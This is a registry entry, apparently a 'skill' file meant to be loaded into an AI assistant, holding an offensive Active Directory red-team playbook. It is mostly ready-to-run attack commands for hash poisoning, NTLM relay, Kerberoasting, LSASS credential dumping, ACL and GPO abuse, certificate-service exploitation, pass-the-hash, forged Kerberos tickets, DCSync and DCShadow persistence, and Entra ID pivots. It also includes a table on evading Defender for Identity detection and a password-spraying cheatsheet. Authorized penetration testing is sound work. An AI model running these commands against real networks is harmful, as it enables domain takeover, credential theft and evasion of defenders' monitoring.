{"id":"offensive-active-directory","name":"offensive-active-directory","summary":"内部ネットワークのレッドチームエンゲージメントにおけるActive Directory攻撃手法。","body":"# Active Directory — Offensive Testing Methodology\n\n## Quick Workflow\n\n1. Recon AD structure offline (BloodHound, ADExplorer snapshot) — minimize live queries\n2. Harvest creds via poisoning, Kerberoasting, ASREProast, or LSASS where allowed\n3. Map attack paths to Domain Admin / Enterprise Admin / Tier 0\n4. Execute path with lowest detection cost, validate at each hop\n5. Establish persistence and document every action with timestamps\n\n---\n\n## Reconnaissance\n\n### BloodHound Collection\n\n```powershell\n# SharpHound (CSharp collector) — most stealthy with throttling\nSharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip\n\n# Stealth collection (DC-only, avoids workstation noise)\nSharpHound.exe -c DCOnly --Stealth\n\n# Bloodhound.py from Linux (no Windows host needed)\nbloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All\n```\n\n### PowerView (No Tool Drop)\n\n```powershell\n# Domain enumeration without binaries\n$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()\nGet-DomainUser -SPN | Select samaccountname,serviceprincipalname\nGet-DomainComputer -Unconstrained\nGet-DomainGPO | ?{$_.gpcmachineextensionnames -match \"Restricted Groups\"}\nGet-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |\n  ?{$_.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}\n```\n\n### ADExplorer Offline\n\n```\n# Take snapshot from any low-priv user, analyze offline\nADExplorer.exe → File → Create Snapshot\n# Convert to BloodHound format\nADExplorerSnapshot.py snapshot.dat -o output/\n```\n\n---\n\n## Credential Harvesting\n\n### LLMNR / NBT-NS / mDNS Poisoning\n\n```bash\n# Capture NetNTLMv2 hashes from broadcast resolution\nresponder -I eth0 -wrf\n\n# Inveigh (Windows-side, when you have a foothold)\nInvoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y\n```\n\nCrack with hashcat mode 5600. If cracking fails, relay instead.\n\n### NTLM Relay\n\n```bash\n# Identify relay targets (no SMB signing, LDAP signing not required)\nnxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt\n\n# Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request\nimpacket-ntlmrelayx -tf relay-targets.txt -smb2support \\\n  --escalate-user attacker --delegate-access\n\n# Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up\nimpacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \\\n  --adcs --template DomainController\n```\n\n### Kerberoasting\n\n```powershell\n# Request TGS for all SPN-bearing accounts\nRubeus.exe kerberoast /outfile:tgs.txt /nowrap\n# AES-only accounts (harder to crack but worth attempting)\nRubeus.exe kerberoast /aes /outfile:tgs_aes.txt\n```\n\n```bash\n# Cross-platform from Linux\nimpacket-GetUserSPNs corp.local/user:pass -dc-ip 10.0.0.1 -request\nhashcat -m 13100 tgs.txt rockyou.txt -r OneRuleToRuleThemAll.rule\n```\n\n### ASREProasting\n\n```bash\n# Find users with DONT_REQUIRE_PREAUTH set\nimpacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass\nhashcat -m 18200 asrep.txt rockyou.txt\n```\n\n### LSASS / SAM Dumping\n\n```cmd\n:: Modern, AV-friendly: comsvcs.dll minidump\nrundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump <PID> C:\\out.dmp full\n\n:: Task Manager → lsass.exe → Create dump file (GUI route, no binary drop)\n\n:: nanodump (handle duplication, no MiniDumpWriteDump)\nnanodump.exe --pid <PID> -w lsass.dmp --valid\n```\n\nParse with Mimikatz or pypykatz offline:\n\n```bash\npypykatz lsa minidump lsass.dmp\n```\n\n---\n\n## Privilege Escalation Within AD\n\n### ACL Abuse\n\n| Right | Abuse |\n|-------|-------|\n| `GenericAll` / `GenericWrite` | Add SPN → Kerberoast; reset password; add member |\n| `WriteDacl` | Grant yourself DCSync rights, then DCSync |\n| `WriteOwner` | Take ownership → grant rights → exploit |\n| `AllExtendedRights` (User) | Force password change |\n| `AllExtendedRights` (Domain) | DCSync |\n| `AddMember` | Add self to privileged group |\n| `WriteSPN` | Set SPN, kerberoast target |\n\n```powershell\n# Targeted Kerberoast (write SPN, roast, remove SPN)\nSet-DomainObject -Identity victim -Set @{serviceprincipalname='fake/SPN'}\nRubeus.exe kerberoast /user:victim\nSet-DomainObject -Identity victim -Clear serviceprincipalname\n\n# Grant DCSync via WriteDacl\nAdd-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' \\\n  -PrincipalIdentity attacker -Rights DCSync\n```\n\n### Kerberos Delegation\n\n```powershell\n# Find delegation\nGet-DomainComputer -Unconstrained\nGet-DomainUser -TrustedToAuth\nGet-DomainComputer -TrustedToAuth\n\n# Unconstrained → wait for / coerce DC auth, capture TGT\nRubeus.exe monitor /interval:5 /nowrap\n\n# Constrained (S4U2self/S4U2proxy) — impersonate any user to allowed SPN\nRubeus.exe s4u /user:svc_acct /rc4:<hash> /impersonateuser:Administrator \\\n  /msdsspn:cifs/dc.corp.local /ptt\n\n# Resource-Based Constrained Delegation (RBCD) — write msDS-AllowedToActOnBehalfOfOtherIdentity\n# Requires GenericAll/GenericWrite on the target computer object\n```\n\n### Coercion Primitives\n\n| Technique | Tool / RPC |\n|-----------|-----------|\n| PetitPotam | `MS-EFSRPC` (`EfsRpcOpenFileRaw`, `EfsRpcEncryptFileSrv`) |\n| PrinterBug | `MS-RPRN` (`RpcRemoteFindFirstPrinterChangeNotificationEx`) |\n| DFSCoerce | `MS-DFSNM` (`NetrDfsRemoveStdRoot`) |\n| ShadowCoerce | `MS-FSRVP` |\n| WebDAV | Search-and-replace UNC path embedded in any web fetch |\n\n```bash\n# Coerce + relay full chain\nimpacket-ntlmrelayx -t ldap://dc -smb2support --delegate-access &\nPetitPotam.py -u low -p pass attacker-ip dc-ip\n# Result: RBCD set, S4U → DA on coerced machine\n```\n\n### GPO Abuse\n\n```powershell\n# Find GPOs you can edit\nGet-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |\n  ?{ $_.SecurityIdentifier -eq (Get-DomainUser current).objectsid `\n     -and $_.ActiveDirectoryRights -match 'WriteProperty|WriteDacl' }\n\n# SharpGPOAbuse — add scheduled task / immediate task to GPO\nSharpGPOAbuse.exe --AddComputerTask --TaskName Update --Author NT\\System \\\n  --Command cmd.exe --Arguments \"/c net group 'Domain Admins' attacker /add /domain\" \\\n  --GPOName \"Workstation Policy\"\n```\n\n---\n\n## ADCS Abuse — ESC1 through ESC15\n\n### Enumeration\n\n```bash\ncertipy find -u user@corp.local -p pass -dc-ip 10.0.0.1 -vulnerable -stdout\n```\n\n### Common Misconfigurations\n\n| ID | Misconfig | Exploitation |\n|----|-----------|--------------|\n| ESC1 | Client Auth + ENROLLEE_SUPPLIES_SUBJECT | Request cert with arbitrary UPN |\n| ESC2 | Any Purpose EKU | Request cert valid for any use |\n| ESC3 | Enrollment Agent | Request agent cert, then on-behalf-of any user |\n| ESC4 | Vulnerable template ACL | Modify template to ESC1 |\n| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 on CA | SAN injection on any template |\n| ESC7 | Vulnerable CA ACL (ManageCA) | Approve own pending requests |\n| ESC8 | Web Enrollment HTTP + no EPA | NTLM relay → cert |\n| ESC9 | No security extension + UPN | UPN spoofing post-account-rename |\n| ESC10 | StrongCertificateBindingEnforcement weak | UPN spoofing without rename |\n| ESC11 | RPC unprotected (no ICertPassage IF_ENFORCEENCRYPTICERTREQUEST) | Relay over RPC |\n| ESC13 | Issuance policy linked to group | Cert grants group membership |\n| ESC14 | altSecurityIdentities write | Map attacker cert to admin |\n| ESC15 | EKUwu — schema v1 templates | Inject EKU at request time |\n\n### ESC1 Exploitation\n\n```bash\n# Request cert as Administrator\ncertipy req -u user@corp.local -p pass -ca CORP-CA -template VulnTemplate \\\n  -upn administrator@corp.local\n\n# Use cert to get TGT and NT hash via UnPAC-the-Hash\ncertipy auth -pfx administrator.pfx -dc-ip 10.0.0.1\n```\n\n### ESC8 (Web Enrollment Relay)\n\n```bash\n# Coerce any DC, relay to ADCS Web Enrollment, request DC cert\nimpacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \\\n  --adcs --template DomainController &\nPetitPotam.py attacker-ip dc.corp.local\n# Result: cert for DC$ → TGT → DCSync\n```\n\n---\n\n## Lateral Movement\n\n### Pass-the-Hash / Overpass-the-Hash\n\n```bash\n# PTH with NT hash\nnxc smb 10.0.0.0/24 -u admin -H <NThash> --local-auth\nimpacket-psexec corp/admin@target -hashes :<NThash>\n\n# Overpass-the-Hash (NT hash → TGT, useful for Kerberos-only targets)\nRubeus.exe asktgt /user:admin /rc4:<NThash> /ptt\n```\n\n### Pass-the-Ticket\n\n```powershell\n# Inject TGT\nRubeus.exe ptt /ticket:base64.kirbi\n# Or from .ccache\nKRB5CCNAME=admin.ccache impacket-secretsdump -k -no-pass dc.corp.local\n```\n\n### Silent Lateral Tools\n\n```bash\n# WinRM (no event logs in default channel for command exec)\nevil-winrm -i target -u admin -H <hash>\n\n# SMB exec without service creation (uses task scheduler)\nimpacket-atexec corp/admin@target -hashes :<hash> \"whoami\"\n\n# WMI\nimpacket-wmiexec corp/admin@target -hashes :<hash>\n\n# DCOM (MMC20.Application, ShellWindows, ShellBrowserWindow)\nInvoke-DCOM -ComputerName target -Method MMC20 -Command \"calc.exe\"\n```\n\n---\n\n## Persistence\n\n### Golden Ticket (krbtgt forge)\n\n```bash\n# Requires krbtgt NT hash (from DCSync)\nimpacket-ticketer -nthash <krbtgt-NT> -domain-sid S-1-5-21-... -domain corp.local Administrator\nKRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass dc.corp.local\n```\n\n### Silver Ticket (per-service forge)\n\n```bash\n# Forge TGS for a specific service using its account hash\nimpacket-ticketer -nthash <svc-NT> -domain-sid <SID> -domain corp.local \\\n  -spn cifs/server.corp.local Administrator\n```\n\n### Diamond / Sapphire Ticket (modern, evades MDI on krbtgt)\n\n```bash\n# Diamond — modify legitimate TGT in-flight (no krbtgt hash on wire)\nRubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512\n```\n\n### DCSync\n\n```bash\nimpacket-secretsdump -just-dc-user 'corp/krbtgt' corp/admin@dc -hashes :<hash>\n# In-memory PowerShell variant (Mimikatz)\nInvoke-Mimikatz -Command '\"lsadump::dcsync /user:krbtgt\"'\n```\n\n### DCShadow (register rogue DC, push changes)\n\n```\nmimikatz # !+\nmimikatz # !processtoken\nmimikatz # lsadump::dcshadow /object:CN=victim,... /attribute:primaryGroupID /value:519\nmimikatz # lsadump::dcshadow /push\n```\n\n### AdminSDHolder\n\nAdd ACE granting your account `GenericAll` on `CN=AdminSDHolder,CN=System,DC=corp,DC=local`. SDProp propagates to all protected groups every 60 minutes.\n\n---\n\n## Forest & Trust Attacks\n\n```powershell\n# Map trusts\nGet-DomainTrust -SearchBase \"DC=corp,DC=local\"\nGet-ForestTrust\n\n# SID History injection (cross-forest if SID filtering disabled)\n# ExtraSids in golden ticket → admin in trusted forest\nimpacket-ticketer -nthash <krbtgt> -domain-sid <child-SID> \\\n  -extra-sid S-1-5-21-<parent>-519 -domain child.corp.local Administrator\n\n# Trust ticket forging (inter-realm TGT)\nRubeus.exe asktgs /service:krbtgt/parent.local /ticket:trust-ticket.kirbi\n```\n\n---\n\n## Hybrid AD / Entra ID (Azure AD) Pivots\n\n| Pivot | Path |\n|-------|------|\n| AAD Connect server compromise | Dump MSOL_ account → DCSync on-prem |\n| Seamless SSO | Forge Kerberos ticket for `AZUREADSSOACC$` → cloud SSO any user |\n| PTA agent | DLL hijack `Microsoft.Azure.SecurityTokenService` → harvest cleartext |\n| PHS hash sync | Read on-prem hashes from AAD Connect SQL (ADSync DB) |\n| Federated trust | Forge SAML token via stolen ADFS token-signing cert (Golden SAML) |\n| Pass-the-PRT | Steal PRT cookie from device → cloud session as user |\n\n```powershell\n# AADInternals — Hybrid identity attack toolkit\nGet-AADIntADSyncCredentials  # Extract MSOL_ creds from AAD Connect\nOpen-AADIntOffice365Portal -AccessToken $token\nNew-AADIntSAMLToken -ImmutableID 'a==' -Issuer 'http://sts/adfs/services/trust' \\\n  -PfxFileName 'token-signing.pfx'\n```\n\n---\n\n## Detection Evasion (MDI / Defender for Identity)\n\n| MDI Detector | Evasion |\n|--------------|---------|\n| Honeytoken account access | Always check `description` and recent activity before hitting accounts |\n| Reconnaissance via SAMR | Use ADWS / LDAP-only collection, throttle |\n| Suspicious Kerberos delegation | Avoid noisy `S4U2self` chains on monitored DCs |\n| Golden/Silver Ticket detection | Use Diamond/Sapphire variants; match legitimate ticket lifetime/encryption |\n| DCSync from non-DC | Relay through legitimate replication-permitted accounts |\n| Pass-the-Hash | Use overpass-the-hash to convert to Kerberos before lateraling |\n\n```powershell\n# Identify MDI sensors before noisy actions\nGet-DomainComputer -SPN '*MicrosoftATA*'\nGet-DomainComputer | ?{ $_.servicePrincipalName -match 'AATPSensor' }\n```\n\n---\n\n## Engagement Cheatsheet\n\n```bash\n# 1. Anonymous LDAP enum (no creds)\nldapsearch -x -H ldap://dc -s base -b \"\" \"(objectclass=*)\"\nnxc ldap dc -u '' -p '' --users\n\n# 2. Null SMB session\nnxc smb dc -u '' -p '' --shares\nimpacket-rpcclient -U '' dc -no-pass\n\n# 3. Password spray (low and slow)\nnxc smb dc -u users.txt -p 'Winter2025!' --continue-on-success\n\n# 4. Once authed: full enum + BloodHound\nbloodhound-python -d corp.local -u user -p pass -ns dc -c All --zip\n\n# 5. Identify attack path → execute → loot → persist\n```\n\n---\n\n## Key References\n\n- MITRE ATT&CK: TA0006 (Credential Access), TA0008 (Lateral Movement), T1558 (Steal/Forge Kerberos)\n- ADCS: SpecterOps \"Certified Pre-Owned\" (Schroeder, Christensen)\n- BloodHound: bloodhound.specterops.io\n- Coercion: github.com/p0dalirius/Coercer (unified coercion toolkit)\n- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/active-directory.md","author":"@SnailSploit","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/SnailSploit/Claude-Red/tree/main/Skills/active-directory/offensive-active-directory","license":"MIT","category":"document","lang":"en","tokens":3787,"stars":0,"calls30d":1,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":[]}}